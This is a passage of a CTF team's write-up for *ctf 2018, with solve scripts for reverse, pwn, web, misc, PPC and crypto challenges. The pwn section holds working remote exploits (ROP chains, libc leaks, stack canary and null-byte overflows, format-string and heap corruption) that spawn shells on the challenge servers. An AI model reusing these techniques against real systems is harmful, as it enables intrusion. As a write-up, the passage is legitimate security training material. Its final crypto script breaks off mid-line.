l9 = i0; i0 = l9; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l10 = i0; i0 = l10; i1 = 255u; i0 &= i1; l12 = i0; i0 = l12; i1 = 24u; i0 <<= (i1 & 31); l13 = i0; i0 = l7; i1 = l13; i0 |= i1; l14 = i0; i0 = l23; g10 = i0; i0 = l14; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;}
static void f10(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0, l42 = 0, l43 = 0, l44 = 0, l45 = 0, l46 = 0, l47 = 0, l48 = 0, l49 = 0, l50 = 0, l51 = 0, l52 = 0, l53 = 0, l54 = 0, l55 = 0, l56 = 0, l57 = 0, l58 = 0, l59 = 0, l60 = 0, l61 = 0, l62 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l62 = i0; i0 = g10; i1 = 32u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 32u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l21 = i0; i0 = 2654435769u; l32 = i0; i0 = 0u; l43 = i0; i0 = 0u; l54 = i0; L1: i0 = l54; l58 = i0; i0 = l58; i1 = 32u; i0 = i0 < i1; l59 = i0; i0 = l59; i0 = !(i0); if (i0) { goto B2; } i0 = l32; l60 = i0; i0 = l43; l0 = i0; i0 = l0; i1 = l60; i0 += i1; l1 = i0; i0 = l1; l43 = i0; i0 = l10; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 3u; i0 <<= (i1 & 31); l5 = i0; i0 = l21; l6 = i0; i0 = l6; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l7 = i0; i0 = l5; i1 = l7; i0 ^= i1; l8 = i0; i0 = l10; l9 = i0; i0 = l9; i1 = 4u; i0 += i1; l11 = i0; i0 = l11; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l12 = i0; i0 = l43; l13 = i0; i0 = l12; i1 = l13; i0 += i1; l14 = i0; i0 = l8; i1 = l14; i0 ^= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = 4u; i0 += i1; l17 = i0; i0 = l17; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l18 = i0; i0 = l18; i1 = 5u; i0 >>= (i1 & 31); l19 = i0; i0 = l21; l20 = i0; i0 = l20; i1 = 4u; i0 += i1; l22 = i0; i0 = l22; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l19; i1 = l23; i0 += i1; l24 = i0; i0 = l15; i1 = l24; i0 ^= i1; l25 = i0; i0 = l10; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l27; i1 = l25; i0 += i1; l28 = i0; i0 = l26; i1 = l28; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l10; l29 = i0; i0 = l29; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l30 = i0; i0 = l30; i1 = 3u; i0 <<= (i1 & 31); l31 = i0; i0 = l21; l33 = i0; i0 = l33; i1 = 8u; i0 += i1; l34 = i0; i0 = l34; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l35 = i0; i0 = l31; i1 = l35; i0 ^= i1; l36 = i0; i0 = l10; l37 = i0; i0 = l37; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l38 = i0; i0 = l43; l39 = i0; i0 = l38; i1 = l39; i0 += i1; l40 = i0; i0 = l36; i1 = l40; i0 ^= i1; l41 = i0; i0 = l10; l42 = i0; i0 = l42; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l44 = i0; i0 = l44; i1 = 5u; i0 >>= (i1 & 31); l45 = i0; i0 = l21; l46 = i0; i0 = l46; i1 = 12u; i0 += i1; l47 = i0; i0 = l47; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l48 = i0; i0 = l45; i1 = l48; i0 += i1; l49 = i0; i0 = l41; i1 = l49; i0 ^= i1; l50 = i0; i0 = l10; l51 = i0; i0 = l51; i1 = 4u; i0 += i1; l52 = i0; i0 = l52; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l53 = i0; i0 = l53; i1 = l50; i0 += i1; l55 = i0; i0 = l52; i1 = l55; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l54; l56 = i0; i0 = l56; i1 = 1u; i0 += i1; l57 = i0; i0 = l57; l54 = i0; goto L1; B2:; i0 = l62; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;}
static void f11(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l21 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l13 = i0; i0 = l13; l14 = i0; i0 = l14; i1 = 255u; i0 &= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = l15; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l17 = i0; i0 = l17; i1 = 8u; i0 >>= (i1 & 31); l18 = i0; i0 = l18; i1 = 255u; i0 &= i1; l19 = i0; i0 = l10; l0 = i0; i0 = l0; i1 = 1u; i0 += i1; l1 = i0; i0 = l1; i1 = l19; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l2 = i0; i0 = l2; i1 = 16u; i0 >>= (i1 & 31); l3 = i0; i0 = l3; i1 = 255u; i0 &= i1; l4 = i0; i0 = l10; l5 = i0; i0 = l5; i1 = 2u; i0 += i1; l6 = i0; i0 = l6; i1 = l4; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l7 = i0; i0 = l7; i1 = 24u; i0 >>= (i1 & 31); l8 = i0; i0 = l8; i1 = 255u; i0 &= i1; l9 = i0; i0 = l10; l11 = i0; i0 = l11; i1 = 3u; i0 += i1; l12 = i0; i0 = l12; i1 = l9; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l21; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;}
static u32 _check(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0; FUNC_PROLOGUE; u32 i0, i1, i2, i3; i0 = g10; l36 = i0; i0 = g10; i1 = 160u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 160u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l36; i1 = 144u; i0 += i1; l22 = i0; i0 = l36; i1 = 120u; i0 += i1; l28 = i0; i0 = l36; i1 = 8u; i0 += i1; l30 = i0; i0 = p0; l11 = i0; i0 = l11; l32 = i0; i0 = l32; i0 = (*Z_envZ__strlenZ_ii)(i0); l33 = i0; i0 = l33; i1 = 24u; i0 = i0 != i1; l1 = i0; i0 = l1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } i0 = l22; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 96u; i0 += i1; l37 = i0; i0 = l34; 144 i1 = 16u; i0 += i1; l38 = i0; L2: i0 = l34; i1 = l37; i1 = i32_load8_s(Z_envZ_memory, (u64)(i1)); i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 1u; i0 += i1; l34 = i0; i0 = l37; i1 = 1u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L2;} i0 = l11; l2 = i0; i0 = l28; 120 i1 = l2; plaintext i2 = 4u; 4 i3 = l22; 144 key? _EncryptCBC(i0, i1, i2, i3); i0 = 0u; l29 = i0; i0 = l30; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 0u; i0 += i1; l37 = i0; i0 = l34; i1 = 96u; i0 += i1; l38 = i0; L3: i0 = l34; i1 = l37; i1 = i32_load(Z_envZ_memory, (u64)(i1)); i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 4u; i0 += i1; l34 = i0; i0 = l37; i1 = 4u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L3;} i0 = 0u; l29 = i0; L4: i0 = l29; l3 = i0; i0 = l3; i1 = 3u; i0 = (u32)((s32)i0 < (s32)i1); l4 = i0; i0 = l4; i0 = !(i0); if (i0) { i0 = 11u; l35 = i0; goto B5; } i0 = 0u; l31 = i0; L7: i0 = l31; l5 = i0; i0 = l5; i1 = 8u; i0 = (u32)((s32)i0 < (s32)i1); l6 = i0; i0 = l29; l7 = i0; i0 = l6; i0 = !(i0); if (i0) { goto B8; } i0 = l7; i1 = 3u; i0 <<= (i1 & 31); l8 = i0; i0 = l31; l9 = i0; i0 = l8; i1 = l9; i0 += i1; l10 = i0; i0 = l28; i1 = l10; i0 += i1; l12 = i0; i0 = l12; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l13 = i0; i0 = l13; i1 = 255u; i0 &= i1; l14 = i0; i0 = l29; l15 = i0; i0 = l15; i1 = 3u; i0 <<= (i1 & 31); l16 = i0; i0 = l16; i1 = 7u; i0 += i1; l17 = i0; i0 = l31; l18 = i0; i0 = l17; i1 = l18; i0 -= i1; l19 = i0; i0 = l30; cipher i1 = l19; i2 = 2u; i1 <<= (i2 & 31); i0 += i1; l20 = i0; i0 = l20; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l21 = i0; i0 = l14; i1 = l21; cipher[pos] i0 = i0 != i1; l23 = i0; i0 = l23; if (i0) { i0 = 8u; l35 = i0; goto B5; } i0 = l31; l24 = i0; i0 = l24; i1 = 1u; i0 += i1; l25 = i0; i0 = l25; l31 = i0; goto L7; B8:; i0 = l7; i1 = 1u; i0 += i1; l26 = i0; i0 = l26; l29 = i0; goto L4; B5:; i0 = l35; i1 = 8u; i0 = i0 == i1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } else { i0 = l35; i1 = 11u; i0 = i0 == i1; if (i0) { i0 = 1u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } } i0 = 0u; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;}```The first thing come out in my mind is that It's [TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm).
But there some difference. The encryption function in this challenge is```c=void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<3) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<3) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1;}```Now it's easy to write a decryption script```python=from pwn import *A=[0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00]def decrypt(v,k): v0=v[0] v1=v[1] asum=0xC6EF3720 delta=0x9e3779b9 k0=k[0] k1=k[1] k2=k[2] k3=k[3] for i in range(32) : v1 -= ((v0<<3) ^ k2) ^ (v0 + asum) ^ ((v0>>5) + k3) v1 %=(2**32) v0 -= ((v1<<3) ^ k0) ^ (v1 + asum) ^ ((v1>>5) + k1) v0 %=(2**32) asum -= delta asum %= (2**32) return v0,v1
cipher=[A[i] for i in range(0,len(A),4)]cipher="".join(map(chr,cipher))
key="webasmintersting"k=[u32(key[i:i+4]) for i in range(0,len(key),4)]
flag=""for i in range(3): vv=cipher[i*8:(i+1)*8][::-1] v=[u32(vv[i:i+4]) for i in range(0,len(vv),4)] a,b=decrypt(v,k) flag+=p32(a)+p32(b)print flag# *ctf{web4ss3mbly_1s_god}```
### milktea (sasdf)
```python=import struct
with open('milktea', 'rb') as f: data = f.read() keys = data[0x10C0:0x11A8] ct = data[0x1080:0x10B8]keys = struct.unpack('<' + 'I' * (len(keys) // 4), keys)keys = [keys[i:i+2] for i in range(0, len(keys), 2)]ct = struct.unpack('<' + 'I' * (len(ct) // 4), ct)
# Fake memcmpxx = [ 0x0BF7AC52, 0x801135AA, 0x5341B12E, 0x8C284278, 0x879413EE, 0xF0D4BB6A, 0x3336515C, 0x1498DC7D, 0x0BE8AD86, 0x310FE5B8, 0x3DEEAFD4, 0x5603371B, 0x00000000, 0x00000000,]ct = [c ^ x for c, x in zip(ct, xx)]ct = [ct[i:i+2] for i in range(0, len(ct), 2)]
sbox = [ 0x206D2749, 0x69622061, 0x61662067, 0x666F206E, 0x70657320, 0x6D657974, 0x37633634, 0x66336265, 0x63383538, 0x66373331, 0x66646239, 0x65356166, 0x38386630, 0x39386530, 0x62623935, 0x35366532, ]
mask = 0xffffffff
# Encyption sanity checklow, = struct.unpack('<I', 'aaaa')high = low
for key in keys: high = ( ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) + high ) & mask low = ( ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) + low ) & maskres = low << 32 | high
assert(res == 0xd5c62ef45e60fe03)
# Decrypt flagplain = ''for c in ct: high, low = c for key in reversed(keys): low = ( low - ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) ) & mask high = ( high - ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) ) & mask res = high << 32 | low plain += struct.pack('<Q', res)print(repr(plain))```
## pwn
### babystack (sces60107)
In this challenge, you can overflow the stack canary.So you won't trigger `__stack_chk_fail`
```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.91.226.78", 10005)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./bs",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400a9b)+'\nc\n')
def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) breakproofwork()
main=0x4009e7poprdi=0x400c03poprsi=0x400c01read=0x4007e0atoigot=0x601ff0putsgot=0x601fb0putplt=0x4007c0buf=0x602f00leave=0x400955p1=p64(poprdi)+p64(putsgot)+p64(putplt)p2=p64(poprdi)+p64(0)+p64(poprsi)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave)payload=p1+p2
# You can overflow the stack canary, the stack canary offset is 0x6128print r.recvuntil("How many bytes do you want to send?")r.sendline(str(6128))r.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload)))
# The first part of payload leak the libc baser.recvuntil("It's time to say goodbye.\n")libbase=u64(r.recvline()[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57
# Using stack migration, you input payload againr.sendline(p64(poprdi)+p64(binsh)+p64(system))
r.interactive()# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}```
### note (sces60107)
You can find out the null-byte overflow in Edit note.
Then you also notice that the format string address is on the stack. You can overwrite it.
Cause the wrong rbp value, you can overwrite return value when calling scanf.
```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.89.18.224", 10007)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}#r=process("./note",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) break
proofwork()s=0x401129fd=0x602140printgot=0x601F90poprdi=0x401003
# Not importantr.recvuntil("Input your ID:")r.send(cyclic(256))
# You can trigger null-byte overflow# They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256sr.recvuntil("> ")r.sendline("1")r.recvuntil("Note:")r.sendline("a"*168+p64(s)+"a"*(256-176))r.recvuntil("> ")
# Now the note address can be changed, I have arbitrary read. Just leak libc base address.r.sendline(p32(2)+p64(s)+p64(printgot))r.recvuntil("Note:")heapbase=r.recvline()print heapbase.encode("hex")libbase=u64(heapbase[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57
# You overwrite the return address when you call scanfr.recvuntil("> ")r.sendline("a"*100+p64(poprdi)+p64(binsh)+p64(system))r.interactive()# *ctf{n0te_helps_y0u_use_scanf}```
### young_heap (4w4rd sces60107)
```python=from pwn import *
# r = process('./young_heap')r = remote('47.89.11.82', 10009)
r.recvuntil('xxxx+')suffix = r.recv(16)# suffix = 'OWSh3smUNo6dzei7'r.recvuntil(' == ')ans = r.recvuntil('\n')[:-1]# ans = '4dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'x = string.letters + string.digitsb = 0for c1 in x: for c2 in x: for c3 in x: for c4 in x: if hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans: print c1+c2+c3+c4 r.sendline(c1+c2+c3+c4) b = 1 break if b == 1: break if b == 1: break if b == 1: break# r.interactive()
def new_heap(size,cont): r.sendlineafter('>> ','1') r.sendlineafter(' :',str(size)) r.sendafter(' :',cont)
def edit(idx,cont): r.sendlineafter('>> ','2') r.sendlineafter(' :',str(idx)) r.sendafter(' :',cont)
def delete(idx): r.sendafter('>> ','3') r.sendafter(' :',str(idx))
new_heap(0x400,'a'*0x400) #0new_heap(0x400,'a'*0x400) #1new_heap(0x400,'a'*0x400) #2new_heap(0x400,'a'*0x400) #3
# delete(1)# delete(0)# r.interactive()edit(0,'a'*0x400+'\x01\x00')edit(1,'a'*0x400+'\x21\x08')delete(0)delete(2)edit(1,'a'*0x400+'\xa1')# new_heap(0x90)delete(1)# r.interactive()# edit(1,p64(0)+p64(0x10000))# delete(2)printf_plt = 0x4008a0addr = 0x602068new_heap(0x810,'%13$p\n\x00'+'a'*(0x400-7)+p64(0)+p64(0x410)+p64(addr)) #0new_heap(0x400,'a') #1new_heap(0x400,p64(printf_plt)) #2delete(0)l = int(r.recvuntil('\n').strip(),16)# print hex(l)libc = l - 0x20830system = libc + 0x45390print hex(libc)print hex(system)
def fmt_att(fmt): new_heap(0x100, fmt) # 0 delete(0)# r.interactive()# get address here# r.interactive()\n# 15 & 41 & 42fmt_att('%15$p\n\n')base = int(r.recvuntil('\n').strip(),16)print hex(base)fmt_att('%15$s\n\n')k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))print hex(k)attack_point = base + 8fmt_att("%"+str((attack_point+2)&0xffff)+'c%15$hn')fmt_att("%"+str(0x60)+'c%41$hn')fmt_att("%"+str(attack_point&0xffff)+'c%15$hn')fmt_att("%"+str(0x20e0)+'c%41$hn')# fmt_att("%42$s\n\n")# k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))# print hex(k)# print hex(system&0xffff)fmt_att('%'+str(0x2060)+'c%42$hn')fmt_att("%"+str(0x20e2)+'c%41$hn')fmt_att('%'+str(0x60)+'c%42$hn')edit(4,p64(system))# fmt_att("%42$p")# new_heap(0x100,'%15$ln')#0# delete(0)r.interactive()
```
## web
### simpleweb (how2hack)I use Z3 to find the solution for this challenge.```python#!/usr/bin/env python
from z3 import *
value = [BitVec("val_%d" % i, 32) for i in range(5)]
s = Solver()for i in range(5): s.add(value[i] >= 0) s.add(value[i] <= 127)
s.add(((((value[0]+value[1])*0x100+(value[1]+value[2]))*0x100+(value[2]+value[3]))*0x100+(value[3]+value[4])) == 0x23332333)
if s.check() != sat: print "unsat"else: while s.check() == sat: print s.model() s.add(Or(value[0] != s.model()[value[0]], value[1] != s.model()[value[1]], value[2] != s.model()[value[2]], value[3] != s.model()[value[3]], value[4] != s.model()[value[4]])) '''[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33][val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19][val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3][val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1][val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2][val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0][val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7][val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5][val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6][val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4][val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11][val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9][val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10][val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8][val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15][val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13][val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14][val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12][val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17][val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]'''```There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means '12' < '4'. So the only solution is `[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]`.
Flag: `*ctf{web_chal_made_by_binary_players_lol}`
## misc
### welcome (bookgin)
Install: http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htmRun: `./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome`Flag: `*ctf{we1_t0_*ctf}`
### warmup (sces60107)
It's a easy challenge
```python=from pwn import *import osr=remote("47.91.226.78", 10006)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./warmup",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400961)+'\nc\n')
poprdi=0x400a63main=0x4008b9putsgot=0x600fa8putsplt=0x4006d8
# you can read whatever you wantprint r.recvuntil("What are you looking for?")r.sendline(str(putsgot))print r.recvline()libbase=int(r.recvline(),16)-0x6f690
# compute system addresssystem=libbase+0x45390poprdi=libbase+0x21102binsh=libbase+0x18cd57print hex(libbase)
# Easy stack overflowprint r.recvuntil("What's your name?")r.sendline("a"*40+p64(poprdi)+p64(binsh)+p64(system))
r.interactive()# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}```
## ppc
### magic_number (b04902036)
simply use a binary search
```python#!/usr/bin/python
from pwn import *
host = '47.89.18.224'port = 10011
r = remote(host, port)count = 0while(1): count += 1 r.recvuntil(': n = ') n = int(r.recvuntil('\n').strip()) dic = dict() send_num = 0 ans = [] same = 0 same_ans = 0 for i in range(n): if(same > 0): same -= 1 for item in total: dic[(item[0], item[1])] -= 1 ans.append(same_ans) continue total = set() start = 0 end = 1024 prenum = n - i while(1): mid = (start + end) // 2 if((start, mid) in dic): num = dic[(start, mid)] else: send_num += 1 r.sendline('? ' + str(start) + ' ' + str(mid)) num = int(r.recvuntil('\n').strip()) dic[(start, mid)] = num if(num > 0): prenum = num total.add((start, mid)) dic[(start, mid)] -= 1 end = mid if(mid - start == 1): same = num - 1 same_ans = start ans.append(start) break else: start = mid if(end - mid == 1): same = prenum - 1 same_ans = mid ans.append(mid) break msg = '!' for i in ans: msg += ' ' + str(i) r.sendline(msg) if(count == 10): breakr.interactive()```
Flag: *ctf{magic algorithm produces magic numbers!}
### Chess Master (bookgin)
We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag.
```python#!/usr/bin/env python3# Python 3.6.4
from pwn import *import stringimport hashlibimport chess # https://github.com/niklasf/python-chessimport chess.uci as uci
komodo = './komodo-9.02-linux'
def PoW(): r.recvuntil('sha256(xxxx+') x = r.recvuntil(') ==', drop=True).decode() y = r.recvline().decode() y = y[:-1] print(x) print(y) s = string.ascii_letters+string.digits for i in s: for j in s: for k in s: for l in s: h = hashlib.sha256() guess = (i+j+k+l+x).encode() h.update(guess) z = h.hexdigest() if z == y: print(guess) r.sendline(i+j+k+l) break
def parseBoard(s, rnd=0, turn='w'): fen = '' cnt = 0 for c in (s.strip() + '\n').replace(' ', '').replace('\n', '/'): if c == '.': cnt += 1 else: if cnt != 0: fen += str(cnt) cnt = 0 fen += c fen = fen.strip('/') return chess.Board(f"{fen} {turn} KQkq - 3 {rnd}")
engine = uci.popen_engine(komodo)engine.uci()print(f'loaded "{engine.name}"')
r = remote('47.89.11.82', 10012)PoW()print('[+] PoW Done')r.recvuntil('game starts\n')engine.ucinewgame()
win_times = 0
# Use wireshark to record packet and get flag XDwhile True: print(win_times) buf = r.recvuntil('input your move(like e2e4):', drop=True).decode() if 'you win' in buf: win_times += 1 buf = buf[buf.find('game starts\n')+len('game starts\n'):] raw_board = buf
board = parseBoard(raw_board) engine.position(board) best_move, ponder_move = engine.go(movetime=50) r.sendline(str(best_move)) #buf = r.recv(16) #if b'win' in buf: # break #print(buf)
engine.quit()```
Flag: `*ctf{chess_is_s0_ea5y}`
## crypto
### primitive (sasdf)
```python=from pwn import *import numpy as npimport itertools as itimport stringfrom hashlib import sha256import multiprocessing as mpfrom PoW import remote
# Connect to game server & PoWr = remote('47.75.4.252', 10001)
# Cipher operationsdef add(a, b): return (a + b) & 0xff
def rot(a, b): return (a>>(8-b) & 0xff) | ((a<<b) & 0xff)
def xor(a, b): return (a ^ b)
def msb(a): return a & 0x80
def mask(a, b): return a & (0xff << b) & 0x7f
msk = 0 # How many bits at the end is OKsft = 0 # How many times we rotate the bytes.
def setMSB(): global msk, ct, pt while True: # Find which char's MSB needs to be flip. flip = [msb(p) != msb(c) for p, c in zip(pt, ct)] if not any(flip): return
# Get first char that needs to be flip. idx = next(i for i, e in enumerate(flip) if e) cur = mask(ct[idx], msk)
# Make sure we won't flip some MSB that shouldn't be flip. while any(mask(c, msk) == cur for c, f in zip(ct, flip) if not f): if msk <= 0: raise ValueError('Conflict') msk -= 1 cur = mask(ct[idx], msk)
# Make all bits in range [msk, 7] of target char to be 1. cur = mask(~cur, msk) assert(cur >= 0 and cur < 256) r.sendline(('2 %d' % cur).rjust(9, '0'))
# Use carry to flip MSB of target char. assert((1 << msk) >= 0 and (1 << msk) < 256) r.sendline(('0 %d' % (1< |
# Git - misc
## Problem
My file lost!
